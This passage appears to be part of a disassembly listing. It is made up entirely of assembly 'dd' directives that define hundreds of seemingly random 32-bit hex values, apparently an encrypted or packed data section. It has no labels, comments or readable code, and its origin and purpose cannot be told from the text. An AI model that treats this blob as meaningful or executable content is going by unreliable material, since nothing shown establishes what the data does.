0CE5B797h, 0BE4B1DFCh, 409D6B6Ch dd 0EC518860h, 94DA2BFEh, 0FEE72013h, 0C0EEC064h, 0E942B6C3h dd 16822D4Bh, 0CAD9D75Dh, 35FBD549h, 42ABE98Bh, 0A1B6FD2Bh dd 76758B82h, 649D5CACh, 0F48B204Bh, 20FF589Fh, 2D05C88Eh dd 39C125CDh, 127084BBh, 0D6B3FA07h, 0E0048592h, 0C53F6B8Fh dd 0D6C2830Dh, 0FB461A44h, 40F0CAE9h, 0F055870h, 6DE418A4h dd 0A3C2EA69h, 0DC3DE25Fh, 12DA8854h, 0DFD85C16h, 5B8C40C8h dd 0B3FE8F6h, 2C84C831h, 0FCAD9526h, 18DA44Ah, 1B24D0Eh dd 82826F5Eh, 60E4710Ch, 74A1E95Fh, 2ACA995h, 292DFE55h dd 0FB17E0F5h, 9DD223B2h, 0DEA9CD22h, 285169A3h, 519582CDh dd 9593162Eh, 0C6CAA0A0h, 28B5F7BCh, 9D2903E4h, 0ED4B5678h dd 0A84F41ECh, 96DB1BDh, 0BADE246Eh, 971AA4A0h, 0D931BB02h dd 0FE97CB96h, 16F50DD8h, 2DCA30D3h, 0BD19400Eh, 34FCA110h dd 0F36033E0h, 0AD07A305h, 278D1114h, 49DFF327h, 0AFC2DAFCh dd 0B187570h, 9FDBFA02h, 0D5ADC1FEh, 804C6A69h, 0BC2E2217h dd 23EACF23h, 0F2D8EC6Eh, 84794A10h, 60EE279Ah, 8FE9A2F2h dd 84B7265Ch, 810B0568h, 0DA4B2701h, 4E003F17h, 0BE5AD789h dd 5A4E7B83h, 0A64BF04h, 2D6D2A82h, 4CCB01DCh, 0E077DA07h dd 6F0DCD93h, 14ECCC58h, 57E0ED65h, 551BE22Dh, 3F08F188h dd 1A7644E9h, 39E954C0h, 949B951Ah, 9952CBCAh, 2FCEC506h dd 504F6F9Fh, 935F08EDh, 72098801h, 69C3BE00h, 4AF71A6Eh dd 9147EBD6h, 0F2ABBCE9h, 0CE0850BDh, 0F24F1FF4h, 0D231B936h dd 0EE07E71Dh, 29231160h, 0D6132A25h, 0BF2D12BBh, 0C52035B1h dd 0E5BF2CE9h, 3CEB8F9Dh, 0C07A6344h, 4D396DDEh, 0EDA15E5Ah dd 0CEEBCC4h, 0B3D7E992h, 0C01FF3D5h, 8909D9DFh, 0DE79DDDAh dd 6A3E04C9h, 38F72909h, 0BFE4AF5Bh, 0D45DE13Ah, 69B84794h dd 0BEB556F0h, 0B2F19FBCh, 2B9655E9h, 36C51D2Ch, 3A58DAADh dd 61983630h, 0CAE71347h, 400B4B7Eh, 223E9FE9h, 5D3C337Bh dd 57C27513h, 99426CF4h, 0F2A25D9Ah, 57095554h, 579FE1DAh dd 8D8E219Bh, 647EC498h, 208B169Dh, 0CB9F0248h, 9DBD70C7h dd 0F47A6AFEh, 5EF5C02Eh, 2170FDE9h, 0C217D4BFh, 2C70DC85h dd 9961EE39h, 7D0CCCC6h, 0EA10CEC3h, 0DAFF25E9h, 6EA380E8h dd 57212D27h, 1339B303h, 0E1B032A3h, 8E182AC7h, 311A414Dh dd 0B58AEE9Eh, 7235FD72h, 480C6CE0h, 494BE08h, 68B87DBCh dd 0E958D3A1h, 96DF10F2h dd 54532DBh, 0B1F2C2F7h, 0F261F9F6h, 2B8D6854h, 0D1A4302Ah dd 14EEC09h, 96701FA4h, 1C762D59h, 71696580h, 25685E3Bh dd 1DF12395h, 0EB29E961h, 0DF28924h, 7D441C1Eh, 704A890Ch dd 8B56548Dh, 798058C1h, 2E51735h, 2C196814h, 0E7C45E22h dd 255668EAh, 0C9C1B65Ch, 0F3C357B8h, 8CF9C2C3h, 0DFE5521Eh dd 542D175Ah, 289265E4h, 0EF3DF1FAh, 33450904h, 81AC80Fh dd 5A1C1CBEh, 2D0A99C7h, 314919E1h, 809AAF20h, 512D6866h dd 0A42CAF41h, 42D0B9EBh, 5A70275Ch, 7A4EE15Dh, 0CEAF34D4h dd 94E9C50Fh, 0B95F72ACh, 2A028408h, 56685100h, 377B592Eh dd 0F962A527h, 9F766927h, 9721F850h, 0B20CB47Dh, 88CD9D91h dd 8AAE0196h, 13E9098Ch, 0C9C468A1h, 114F3B66h, 7517F603h dd 0C1F311Ch, 93BE5161h, 14B07FE9h, 2FCA7721h, 77F6D4CCh dd 2F1EC63h, 277EEB4Dh, 9A706A82h, 6FECD497h, 90E3C556h dd 542CCAC4h, 6E271B7Ch, 52F4199Bh, 58FBDAF3h, 1591697h dd 2596BCC6h, 888E51E4h, 7727E3C7h, 5B090344h, 58FEEE0Fh dd 40729790h, 98661BF8h, 0BDF25E2Ch, 55FE5E8h, 5FD5E9Fh dd 884EF7E9h, 1A4BDFC4h, 0AE25D0E3h, 21B4CEF0h, 750B3D09h dd 0E6D12033h, 3F242E2Fh, 0CEB58E21h, 20DBA596h, 0D59F366h dd 0C4AB230h, 0ED738AEEh, 0A8B1643Ah, 5151C9F6h, 0F2C0D210h dd 95DF622Dh, 0B6031D50h, 58E628CDh, 2C4145F9h, 108C943Dh dd 0BE402E91h, 0C5AF4CB4h, 4337C659h, 0ED6282B8h, 3BEE1769h dd 0B2588CF4h, 29B431AEh, 90515A2Ch, 0DADF4C5Eh, 567E3AC4h dd 0D770AEE2h, 0EC57BEB1h, 65940C06h, 160FBC88h, 0D755815Ch dd 0E0598F09h, 27170B55h, 0DD975B1Eh, 0D0595F37h, 0FF116F3h dd 0F501EA6Ah, 38462906h, 50DA03Fh, 28441A01h, 89E9D531h dd 0B95CCE24h, 0DFCF01DAh, 0FC01720Ch, 299FAFA8h, 2BF940E7h dd 727B4823h, 0DB346E0Fh, 27FAAC92h, 7834D501h, 0C528E912h dd 92403CE2h, 0A61C0B40h, 0A0FD5973h, 2287F181h, 44E0FFD4h dd 0B2FE5EDDh, 3F5304D7h, 7DC04528h, 48697C26h, 0E01D6227h dd 3148C594h, 6CDFABF7h, 2DE90D54h, 1D654491h, 0B7F09216h dd 528F2568h, 0E1968ED1h, 9C285A4h, 49F36839h, 3B9972F5h dd 0BEAAD929h, 0AA524FCDh, 9E00BB29h, 4E326C4Eh, 0B941FE42h dd 2326C4DCh, 9C0F847Eh, 0F54037F5h, 3AA0022Dh, 0C2292ECDh dd 1EDA5D43h, 7C888371h, 805A037Eh, 0C4992CCCh, 40ECD945h dd 8858E5F3h, 18C259ECh, 4843E9D2h, 3FB0501Ah, 0C6BD5287h dd 9C8956A7h, 7E0BE309h, 0D968BB5Dh, 0AA5008C8h, 4B3118CAh dd 90888068h, 0C55A7AF4h, 6B13B2C2h, 72DEB2D5h, 0C20C98CFh dd 59D8685Fh, 77A5F971h, 5B4A424Ch, 0E981B667h, 322B1D9Bh dd 7E77535Fh, 3D1A4DBh, 119D99F9h, 0C5F0D6DAh, 40E9949Fh dd 592AE933h, 0E420F3D3h, 4BADF420h, 98D4EB18h, 0B77DBCEFh dd 256A6861h, 82BFF23Eh, 0D751A9E9h, 43BED76Eh, 0FBB09F54h dd 0FA83B865h, 218E7DF2h, 23F5C397h, 0E2B4D0C3h, 0D7022D53h dd 0A1E94118h, 0C7F94967h, 8D607053h, 5DF1FFh, 17A2E908h dd 5D5128B6h, 0D6B7AD7Ah, 0B349A5E3h, 0EAC2529Dh, 0B6BE1513h dd 0D75012D2h, 0B70FD802h, 79A860C0h, 0E9348444h, 0D18C2140h dd 2D12FEBAh, 47D6626Ch, 1D909A17h, 8795C2h, 5B0517B1h dd 2D1F707Ah, 6260351Eh, 7D24CA6Eh, 5E76E422h, 7924DA25h dd 9816CEF9h, 0DE02F6EAh, 0E9A6B151h, 0DFE7CA3Ah, 5858EE72h dd 93C1166Bh, 0A662EC62h, 36CB33EFh, 20A96F89h, 2560C93Ah dd 2D07E17h, 7C156DB8h, 0D1BDA9F0h, 52820030h, 1CE91848h dd 2536B049h, 0C4E55FEEh, 17F3BF93h, 0DD25F105h, 0EAB78279h dd 0B30B4CA9h, 1CEB1002h, 8AE2E874h, 0FCAC04D6h, 3B1965Eh dd 168176A4h, 0DB68A5CAh, 0A81594BFh, 4C88A0D2h, 8D49787h dd 8F10E961h, 4857D37Bh, 0BB5611C2h, 50FAC696h, 0AA0EEE5Dh dd 17FFA103h, 0ED2E00E2h, 0C1DAF76Bh, 6D9A20F1h, 803880EDh dd 0E3302FF4h, 95D8E658h, 0E4B5EC61h, 1601B353h, 0C380CBFEh dd 7160082Dh, 2EFA2BE9h, 0CC582D84h, 3B53CE95h, 172F09C9h dd 3E92FA43h, 0F5FA00D5h, 5AE13963h, 473AA038h, 978C674Fh dd 138A48B6h, 2E6C001h, 0CC7AC680h, 0E97AF2CEh, 8AE2354Bh dd 947DC22Fh, 0F6EE9529h, 0E9FC5431h, 69E01EBh, 87F4CC34h dd 0CD0BB93Ch, 0A0152471h, 0FF781D5h, 38770052h, 2A86B850h dd 30B01D64h, 0EEB9EA88h, 28533C17h, 61358502h, 0E13541C7h dd 5A2E0430h, 0A921FF0Bh, 108086F8h, 0DC0874B3h, 0D469F65Bh dd 34D27204h, 0E033912Ah, 5F9FE2C5h, 0D3CCF482h, 0C932E5D7h dd 0AEC54755h, 7F084966h, 0F5DEE28Dh, 0FDD9180Bh, 238B286Eh dd 0EF8D5B9Bh, 4099B344h, 0C0408DA3h, 0AE344B79h, 0B0AB9425h dd 21F8B54h, 21D2685Ah, 8B01FACCh, 93E9C8D8h, 0DC371E4Eh dd 77D41492h, 131821DAh, 7E0C46AEh, 44B32C32h, 208524F3h dd 25A3A008h, 971B155h, 0C7C6288h, 31215051h, 3448792Ch dd 0DE51FC1Ch, 0ADF0CCE1h, 0CE16ED71h, 0C9B0387Dh, 268024D4h dd 0A5E32F16h, 8F3049Ah, 0A455E985h, 4ED9CEAEh, 0C1B45BF2h dd 12AAAF2h, 77E26668h, 54239819h, 0DDCCA29Dh, 7C682FE0h dd 539473F9h, 4D0D3987h, 77C22F05h, 9056B606h, 2257710Bh dd 7C576268h, 0EDF2F09h, 0C5426087h, 4429D61Fh, 8F4BE9F2h dd 0F92D9200h, 3A38686Ah, 9325F801h, 20401A5Dh, 2D5EF00Fh dd 8C4D1D1Fh, 4F435C75h, 0D3E456EEh, 1A0AE34Fh, 752C3DDAh dd 203AC64h, 0E9144887h, 2B92B4B7h, 5DDC62D3h, 0C34E45Eh dd 50F0BCBAh, 2F701A2Fh, 0E90DD69Fh, 412B3600h, 5AC303D0h dd 0C4DF5C1Eh, 0DEE53CC0h, 5195F43h, 1396E9CDh, 448BBBB4h dd 651B1D00h, 0B5B4E974h, 8700A097h, 974B77BCh, 3930F8F2h dd 0FCBB1C76h, 7EBF1326h, 7F36FD2Dh, 0D4E375EFh, 0D5BCD382h dd 84166128h, 0BEA13E6Bh, 8091D44h, 15715F5Fh, 7BD17552h dd 5F2EDE8Bh, 0E91763B4h, 0EFF9392Bh, 0A32F7A84h, 275B7F5Fh dd 36D22131h, 757302Ah, 3E70EF80h, 52F4C77Fh, 3902E95h dd 0D93C472Fh, 67BEEEC3h, 9D57FC5Bh, 92FE5DD2h, 0E7D15FEFh dd 0DE6D3319h, 57A4097Eh, 246E977Fh, 0D926317h, 0EE2293Fh dd 0C172B462h, 0C0121CF2h, 897B40CAh, 42B62FBAh, 340A0EDCh dd 15BC6C13h, 2EC75B2h, 8F4130F2h, 0BC646009h, 10DD0554h dd 0AB0E37E9h, 4E731D31h, 0A9C23381h, 0EF2DF2E8h, 48B9B085h dd 396E3503h, 0C80D44EEh, 777AF87Dh, 539A042Dh, 0F1DFE96Dh dd 1CA66F1Ch, 40332D5Eh, 0EE5E4913h, 0D95A4F75h, 1095C884h dd 932FA6BFh, 462B3BBh, 18A8E9E7h, 0E581C0F4h, 0DAE9213Eh dd 4BB72A28h, 0F5FC647Bh, 7AD7AFBEh, 51B80A3h, 0B6685314h dd 0D10CE34Ah, 855CB64h, 0F789BC63h, 8060DCD3h, 5120ECF3h dd 9F5DE909h, 0D90135ABh, 5CD440BFh, 5E1DDA0Ch, 0EA3CF9B5h dd 398402AFh, 6FD850E9h, 569F94A5h, 0F4D297D7h, 1C55714h dd 52F023E2h, 0D392E86Fh, 0DA81FC0Ch, 0B5F54EFEh, 59091FFAh dd 22556968h, 0B7062C0h, 0B9326558h, 0D7050E56h, 16D24BCBh dd 2C2CBB50h, 5B3C639Dh, 4CC23040h, 0C5F70E5Ah, 0F5A6DB3Ch dd 0A632C9h, 2D054891h, 9093BF22h, 5387124Ch, 46DBC24h dd 6FFC3269h, 16D9ACEBh, 0E39B8F11h, 7B090D6Bh, 0C4487969h dd 7A4BE940h, 525B73BBh, 9037D48Fh, 0C5895B0Eh, 1CF8584Fh dd 68050798h, 0D662AB26h dd 7A34B5C0h, 0FD310073h, 0E9EE215Fh, 6ABDAAB8h, 0D0DD43F4h dd 4B80710Fh, 0A947A077h, 0BDBD81F3h, 57BA679Ah, 0E59A397Bh dd 39EC2B0Ch, 1DB157B8h, 6F88F8B0h, 0A0384A6Eh, 5459EA1Dh dd 0D7B7845Ch, 0D94E685h, 8A4FF0BFh, 0AD0787BDh, 0D9D43B65h dd 57B2BCF9h, 50FAD677h, 14120368h, 25B87220h, 0D3BB445Bh dd 70D7D84Ah, 0DDE48995h, 51C01AF9h, 1361BA52h, 10BD066h dd 0E5376E6Eh, 0B2162F45h, 3CDFC0FFh, 5B2C4822h, 0B0024149h dd 40749D6Bh, 3ACA5E2Eh, 0AB971767h, 0A1C1FC19h, 9CAFE106h dd 5AA5987Eh, 2C5A7E3Ch, 64DFBC90h, 7AECBAC3h, 0AE4BDF4Ch dd 555A8682h, 6F775A3Ah, 42E90550h, 0E89F95DEh, 12D25226h dd 6CBF1E53h, 7928E9B0h, 76BF11F4h, 1C680550h, 8FAA302Bh dd 0E25FE903h, 0E5AECFD4h, 0B127EC7Fh, 0FD2C9FB3h, 24301108h dd 98CF1A2Ch, 26CB965Fh, 0A54A6268h, 0B0542D54h, 0A98860B7h dd 0FA7467CFh, 0B0744B7Bh, 0F0CFC4B5h, 0EDA94F6Fh, 345CCCB2h dd 3460C0Ah, 0D8A2477Fh, 6BD1F155h, 2D7B96BDh, 12DD08A1h dd 0AFEB017Eh, 0F120864Ch, 5FD2401Eh, 3DA46B9Bh, 3DC02008h dd 0F3A49FBEh, 0A05516FCh, 0EA51301Dh, 27A562B4h, 0A44FF4C1h dd 43D90061h, 0E946262Ch, 97EA0F33h, 546EBACAh, 28561A37h dd 8126E544h, 0E9C0FE6Ch, 9DFFFCF1h, 2E932CCFh, 0BF4B25ACh dd 0AB4F0C9Bh, 0AA5B588Eh, 154BD331h, 6880E838h, 79D3373Ch dd 0F6E95A4Fh, 52124C05h, 0C3ECC236h, 73223AD7h, 0E9CB02E6h dd 5E6BDC77h, 0F01D74F7h, 0F59505C4h, 0A738388Ah, 0A7956757h dd 419DD05Ah, 0D06B2FDFh, 17B2CF2Dh, 6405A435h, 0A682E91h dd 6158A32Eh, 190BE95Dh, 0D5F616ADh, 61D97D02h, 0B9567DDAh dd 0B4A2F55Ah, 28041AD6h, 468E81BEh, 13800466h, 0B96BCE3h dd 59CB09EAh, 0D10330FCh, 0F9D387EBh, 5D26DDEFh, 19C2D227h dd 0ECDD3DFh, 0BB172836h, 622A09D9h, 0E02F0AFh, 62480707h dd 0D1986C76h, 0D41629BAh, 0F3F1A67Fh, 375DE08Eh, 2855276Bh dd 9427087Ch, 0AC549550h, 879DFE9h, 76C06693h, 50167EBFh dd 5FD28439h, 0F2104415h, 7F60949h, 0FE34BB95h, 12E3CBEAh dd 0D03F801h, 0FF804CA7h, 2D353CECh, 0F90A2316h, 96752747h dd 14E924E9h, 60C2A570h, 0D5814A55h, 0B972DD84h, 1327586Bh dd 4A4BDF19h, 964804F7h, 804E5804h, 4A3F2FECh, 0DE097113h dd 0A116BE2Fh, 4002582Dh, 5D2D6EA8h, 2FA65C6Bh, 0D17DD742h dd 0BE29424Eh, 0D2468176h, 3342BDA3h, 5A98FB50h, 0C7094778h dd 0D041E918h, 0E999D37h, 6BF435Ch, 2C17584Ah, 5DA7B0C7h dd 0FEF9C7D2h, 588B5DEh, 0AB60CF27h, 61E01489h, 5A49B72Fh dd 5CACF04h, 0F7A9FA57h, 1951F360h, 24585950h, 1A677F07h dd 7979F103h, 0E4BD5E94h, 610043E3h, 0C1056603h, 1399FC9Eh dd 0B43973E9h, 183CE7AFh, 503B1F7Ah, 1A48A74Ch, 377C2A68h dd 122BF5AAh, 0F0B6E8F9h, 0B4F830E9h, 23F3015Ah, 0ED5BD828h dd 2DBD64B7h, 93252609h, 4A7D5024h, 68080E84h, 776B1903h dd 0FF4E9AD0h, 0C6CB4591h, 0AC844A2Ah, 0CC3209A5h, 4FD6F1FEh dd 75F22AA6h, 0B56164B5h, 0AED56B6Bh, 56E9754Fh, 0A85875A1h dd 5AD61689h, 6355E92Dh, 6CE9FAFh, 17AAEFFFh, 1C5FF2F9h dd 0ADEE4184h, 0B1D4E127h, 0BFA5F33Ch, 5EA67BDCh, 1721324Bh dd 0E392A05Fh, 0FBC755Ch, 0FB314B19h, 0FEE6F7C4h, 5CA7F667h dd 0CAFA539Fh, 35F4D25Ch, 38B54E9Fh, 8A2F6866h, 59C55C2Dh dd 82AC6B29h, 0A4A1434Ch, 443D8012h, 5D1DA67Ah, 9E4B8D1h dd 6AE7CD81h, 5AA428Ch, 574438B6h, 0D12396C1h, 93C1F37Bh dd 41F10E98h, 52FA2BD8h, 24B41C66h, 6D8D9E58h, 0B1514B10h dd 2006FD5Ch, 4FBB09CBh, 3602D716h, 7D74070Fh, 5DCE29E2h dd 8C79B232h, 8CB5B49h, 0BF12DF0Fh, 29D244EEh, 0BD921F7Ch dd 16CF2BA4h, 0FBD313E4h, 0BBEBC401h, 0A02B9CDBh, 2296EAE5h dd 90250512h, 709334ECh, 48606831h, 0A008599Bh, 8EA24FEh dd 9E23D30Ah, 45BB6886h, 5F7620ADh, 5BBD317Fh, 0D1F7018Ch dd 0C2709168h, 0C1B5F97Dh, 81FD88E9h, 209EC2D1h, 0E5ECFC86h dd 0FBC4BDACh, 4D927FF0h, 0A5334CB7h, 7604E94Bh, 0DB47AA7Ah dd 170E224Bh, 43682F60h, 0AA2FE101h, 0D88B3E2Dh, 0C9FCE7E9h dd 53D1F685h, 5D9F03FBh, 5A01FEE8h, 1D85CA81h, 0B73B3FB4h dd 7DE93980h, 7761A096h, 0F370AA5Fh, 6547FF5h, 92E932D5h dd 59B5260Ah, 2E59005Bh, 6FBF7E5Dh, 4033580Bh, 0D967531h dd 7FAD8195h, 0B02F461Ch, 0EC973360h, 63E7817Ch, 5D88D75h dd 0CF014C7Fh, 0CAAB5D7Bh, 8B4A7C58h, 22D54A16h, 75A4D882h dd 7F09BE4h, 50BDE0BAh, 3F52007Bh, 0B1357DA3h, 3A0A2C62h dd 0BD8E51E9h, 28EE8181h, 0E1C74F11h, 4A29016Dh, 0C276A2D2h dd 665002C0h, 3412748h, 95052B29h, 0DC38BB32h, 0FEF52685h dd 0D6F7735Ch, 5B3B1CCBh, 96BA74Bh, 975182A7h, 0F78100EFh dd 673D4AEBh, 92B2927Ch, 892FECFDh, 56BD6DC0h, 71AFBF80h dd 0EB644A6Ch, 4CEFAE20h, 5E9BE293h, 7403EB2Dh, 2C943E9h dd 615DBE78h, 9D7261Fh, 937E80BDh, 0ED640734h, 45CFDE4h dd 0ECE93896h, 0D8F6AE8Ah, 96D55C8Bh, 5B1C40E2h, 0EB33D59Dh dd 69F78D8h, 9749E980h, 0C780DD00h, 0FC27303Bh, 7A6C5D5Bh dd 0B26BE8BFh, 17527350h, 0EC4DE9E6h, 0DABF4A33h, 0DE90CF2h dd 0FCB27AFh, 79D41CBBh, 17E7D766h, 0C4BAEA4Ah, 0AECE123Ah dd 0C05B46A0h, 6F4B561Ah, 55EC015Dh, 7B08BD52h, 17F03CB8h dd 7038B925h, 6E8C257Bh, 55288548h, 2DD3F680h, 0F158E3C0h dd 722F39A0h, 6627E79Ah, 0EB04F170h, 74252145h, 28269DB1h dd 365D4EDFh, 68182558h, 67FB6CAAh, 3F2981C0h, 7A25AAC5h dd 71981B05h, 4A4BE3EBh, 35F2DEFFh, 0C0777A8h, 1DE53139h dd 10A209C1h, 51293A20h, 804EEEBh, 0AED64FBAh, 65538DB6h dd 14FA3B19h, 4B4189Ch, 0BB41B6F0h, 0F631C391h, 647579A7h dd 0C7A430F2h, 5C80116h, 2D683B0Fh, 2BB68520h, 0BE5659D0h dd 0D8771FB0h, 0D99C0C67h, 900CF347h, 0C04D027h, 0F62902AAh dd 0D9E1E91Bh, 0D19DA3FDh, 6C4005E2h, 0FC0E5D19h, 0DC5B2ACCh dd 871C76B7h, 6E3BC1A1h, 0E22EED60h, 8A2DE963h, 548CFE12h dd 7557809Fh, 987DAF05h, 0D716549h, 0BB3FC501h, 0B7C03FE2h dd 0BD28FB36h, 270DB017h, 0E9F59700h, 0BFFEFDB3h, 829D36EEh dd 0A2715C8h, 0AF7FC913h, 8DBBE564h, 0B48F985Eh, 25D33C8Fh dd 282B2841h, 0C72A0BC7h, 59D4439Dh, 3EADF807h, 0E7C06DC0h dd 54982009h, 110B84Bh, 46285419h, 7BB19AE9h, 8DE52C34h dd 40C29B40h, 0F86D5ACBh, 0AB614A74h, 81040625h, 6BEA8E83h dd 1B736DCh, 5BF920A9h, 9FBBF180h, 0FAE4E506h, 880BA113h dd 35973110h, 9FBAC034h, 0D0270656h, 0B8F3E604h, 0BB514A4Fh dd 0C2F448Eh, 99B7ECB3h, 0E251FB75h, 365C261Bh, 740C5F62h dd 0A9029397h, 0DA139ECBh, 435D0545h, 0EFC164BAh, 419DF6F0h dd 9BB2A04h, 3B8B114Eh, 697BBA00h, 0E97C09F5h, 7D3EA5E7h dd 0B4061EA7h, 524DB03Bh, 1F53FBBDh, 592EF30Eh, 795E1979h dd 941CC616h, 9824D999h, 80D8AC6Fh, 8D63E0BEh, 9654FC68h dd 42D62D4Ch, 8E42C926h, 0C5B503E7h, 0A5D156B9h, 0A59B5624h dd 4C717570h, 681711F0h, 0D6F3753Ah, 2A978E00h, 0CD315993h dd 0D39FEE95h, 0E5BBACA6h, 0FF0D130Ch, 4CA8C259h, 91802E53h dd 4A3D46C6h, 9E511828h dd 47BD6F02h, 0D853E974h, 2D45B012h, 10742F98h, 0B27D7C2h dd 6B97C340h, 0C795530h, 5BC67EF7h, 6EBDA153h, 0E266D9F0h dd 0C1960ECh, 9D3B6917h, 252CF295h, 23D4DD92h, 5E01EEEh dd 6853555Ch, 9687FF6Fh, 5A845ED2h, 29A40CC2h, 310C613Eh dd 4EDC6416h, 453F183h, 7DA6CF25h, 15AEF012h, 6E4E7F7Ah dd 7B6904ABh, 47981D60h, 0C23B544h, 0FB89CBD4h, 0E6655820h dd 83A92987h, 0FAD61F14h, 24DC12D6h, 0B4A51065h, 9D7192Dh dd 79637D9Ch, 56956A73h, 2274E2B4h, 0E0978346h, 0C1C98243h dd 2756C6BDh, 0B9F030B4h, 0B8ADEF40h, 33200051h, 68D8297Ah dd 989701EDh, 28091756h, 20841654h, 58486E2Ch, 0F6B954F9h dd 2B92829Fh, 5EE99949h, 0B532BC7Eh, 0AA8489B9h, 9F49B202h dd 4BA44A15h, 0F01091FCh, 1B84E3Ch, 0B497E33Fh, 71D2000Dh dd 0E972A665h, 4B9FFB37h, 6979F863h, 0DE85C28Bh, 2E1E95Fh dd 5A1134F3h, 30684026h, 609A764Fh, 0D88A0E4Bh, 0C89F1F59h dd 17BEEA24h, 1E17F436h, 8513934h, 3EF30C85h, 0D39CF067h dd 2D4E5DE6h, 177D4EA2h, 0E934B560h, 841D856Eh, 4A7BC08Ah dd 516AC785h, 72FEC3F4h, 1AFF4BAEh, 0F85F0F65h, 2587273h dd 3BEF145Ah, 0E87DC083h, 2FEA0670h, 64D608DCh, 0BFF22970h dd 316F5116h, 8477A9B2h, 0A5BC1808h, 7E955C1h, 0F175C211h dd 0AF99BDCCh, 2E5BB254h, 362828AAh, 2049704Eh, 0DDBD62CDh dd 0BA82F7E7h, 80874365h, 6E83E2E8h, 0A12B5059h, 0E3518B9h dd 6F551876h, 0E933450Bh, 68CEC0C3h, 97377096h, 975F1C75h dd 54C1F9B2h, 0E78A7F67h, 0E9052B4Dh, 0FFFEF8CBh, 0B5F038DDh dd 0A77CB733h, 758368A4h, 0F93B3C71h, 1EAFAB2Ah, 75E28B55h dd 1CA62EC8h, 3C3CF997h, 8D73497Dh, 0A72C017Ch, 2858C630h dd 0A0E52CF0h, 92FBF1E9h, 0C2EC2008h, 0E5CD0126h, 92DF12Fh dd 88C4793Eh, 0C2685602h, 0DC627254h, 9D0100A7h, 0F589FACBh dd 0E858C1B6h, 0F06327E9h, 0E2A07A64h, 0DF8284A1h, 0C6396AF8h dd 83EEB92Eh, 0F65AF708h, 0BFCFD9D7h, 0E9A1C7FBh, 3287EDD8h dd 87C0DBB1h, 4E13203h, 800C6CE0h, 0A50BEC3Dh, 660401ADh dd 0A4C39468h, 0BC47EEF4h, 38DD2560h, 5E226808h, 5FDF7319h dd 2C23AFE1h, 0A9E9CE75h, 0B021FAC3h, 6C5EB70Ch, 28825D17h dd 4259C051h, 9B76B744h, 72F8DB89h, 27851DE5h, 95B16E5h dd 9452D7E0h, 7A58B70Bh, 7EEE751Ah, 44C73E2Dh, 0C9534C3Dh dd 7FF9802Dh, 0A50273CAh, 5710842Ch, 2DF74E2h, 4A62E97Dh dd 0F700FF21h, 2EEB0843h, 881F7A4h, 42F5FC59h, 75682A16h dd 76D544BAh, 0E85E0B83h, 92821552h, 2DF2770Ah, 2A2107Fh dd 68027B1Dh, 254457E8h, 68C5BDB1h, 59896DF9h, 482F91E8h dd 0E9B3989Dh, 951952FEh, 9587FE4Bh, 17FBEB60h, 5A621F75h dd 0EB025283h, 0D94E34CEh, 113720C8h, 78A21E53h, 0CCE09424h dd 0BE828B8h, 0BEC8C020h, 0E0BBD91h, 6CD537CCh, 90C82F4h dd 7D91FD08h, 270B6C4Ch, 0F98F5F05h, 0E4759A69h, 4F01F065h dd 3E96F36Eh, 2D0402DEh, 0C61069E9h, 80E2EC4Fh, 0E9BEF588h dd 0DD215867h, 72BBB551h, 0B9F067A0h, 0A72D747Bh, 2B02571Dh dd 5EC8C8D8h, 632A6859h, 5EB54427h, 5DEA62CBh, 0E9060CDCh dd 0A1366B02h, 0F3C15ED3h, 95428BE8h, 318951DEh, 0DF9986D1h dd 0D5CB5115h, 101FE22Ah, 530F0845h, 0BF656ABBh, 80B1AF40h dd 7893FFF6h, 302E1DE0h, 0EE0425Bh, 2C8F042Dh, 0AE0563B6h dd 0E90971F8h, 8763EC83h, 0B4C4C5CDh, 0D86BD706h, 2021D018h dd 58BD564Eh, 0FD2C0FE0h, 0F684C828h, 5768CCE4h, 0F39A449Fh dd 124EE27Fh, 1F37707h, 701EB210h, 5352D809h, 0E0298B57h dd 5BB368B8h, 229DCC29h, 0F8599A40h, 5FE1F0D3h, 0F69ED293h dd 5C95A450h, 0D8FAF3C8h, 1C23776h, 0E3F95FC5h, 203AD5A5h dd 7FA72A73h, 0E9126FC6h, 61EB54A5h, 6A9CDDE7h, 0C14C3EA6h dd 0E77FC40Eh, 0C9900156h, 3B3AD360h, 7E6E904h, 0CE8F98AAh dd 2F68BF40h, 9C661750h, 0EC30BB02h, 63DCF659h, 37BEDCCEh dd 43BDD4B7h, 0DB32DBF7h, 0B0CFB373h, 0C04B5B52h, 7F76FB18h dd 0FD50017Bh, 9ABF4F9Eh, 8B50D529h, 58C32915h, 20F658DEh dd 0EF564A79h, 81623E8Eh, 310219AAh, 425479DFh, 0E97F3FE9h dd 5D20D5EBh, 772A2759h, 2605D858h, 170957Eh, 88C10FFh dd 311E5B30h, 514BF7AFh, 68556D30h, 944C123Fh, 131BC62h dd 0EC360D1h, 4131D509h, 2AD8770h, 8F06772Dh, 717E056Ah dd 58D0E98Bh, 30F497BDh, 0F2BF855Ah, 7FF0E192h, 0F1201ED9h dd 123B3D6Ah, 2F57E202h, 78DA820h, 38F0890Fh, 0B5F3E939h dd 6850F120h, 95256547h, 7529570Ch, 3D8F1603h, 2E5D4BDAh dd 7A5A61CEh, 19303829h, 5B9C9ACAh, 0C413EEEAh, 4A9A18D2h dd 2C78D7D3h, 3B99F70Bh, 5C025F36h, 0B05DCB89h, 134FE347h dd 0C31C832h, 30F846F9h, 86EA70D6h, 5B0A0C39h, 0C85E6F33h dd 8B8500Ah, 845BFCADh, 9035B4E9h, 0DB6DC375h, 1F6F0248h dd 14104505h, 908B068h, 77F8FBE9h, 0B42FE398h, 3F01FF0Bh dd 0CCE2B652h, 801F2CB2h, 0D35DBBC3h, 0CC65EB5Dh, 9A4FB5h dd 557FBD76h, 0FAF442F1h, 5C015F96h, 1AA86851h, 0C271E77Ah dd 7F08ACE9h, 65D626A6h, 977CEAF7h, 0EE385F17h, 0FEF920DAh dd 0C182BDE6h, 0EFCCA4A5h, 7E06C970h, 731202FCh, 0BAEAB24h dd 0B15613DFh, 0AF58ED82h, 0FDC9B242h, 0D0802DC8h, 0F00926DEh dd 464BDE2Dh, 56009739h, 7B61BFBEh, 0CE813Fh, 1AE50627h dd 0F7EED146h, 2FEDDE4Bh, 0FF1C8F16h, 665C9F71h, 0D851D792h dd 0E3AA0A62h, 2CA70077h, 13143112h, 8C7D1C68h, 0E802E127h dd 72E9CB57h, 0B2C0EBCEh, 3C8FCC4h, 327EF8B8h, 0D8458095h dd 33004B0Dh, 7D2D48C7h, 0B7AF46Ah, 0F1BD9135h, 0E0BE3A05h dd 0ACBA5E33h, 0EBBAE3F2h, 3B947595h, 40B94555h, 31F28797h dd 0AB4F03B0h, 96DBAC15h, 89CF1B1Ah, 9B2B8225h, 0F1ED507h dd 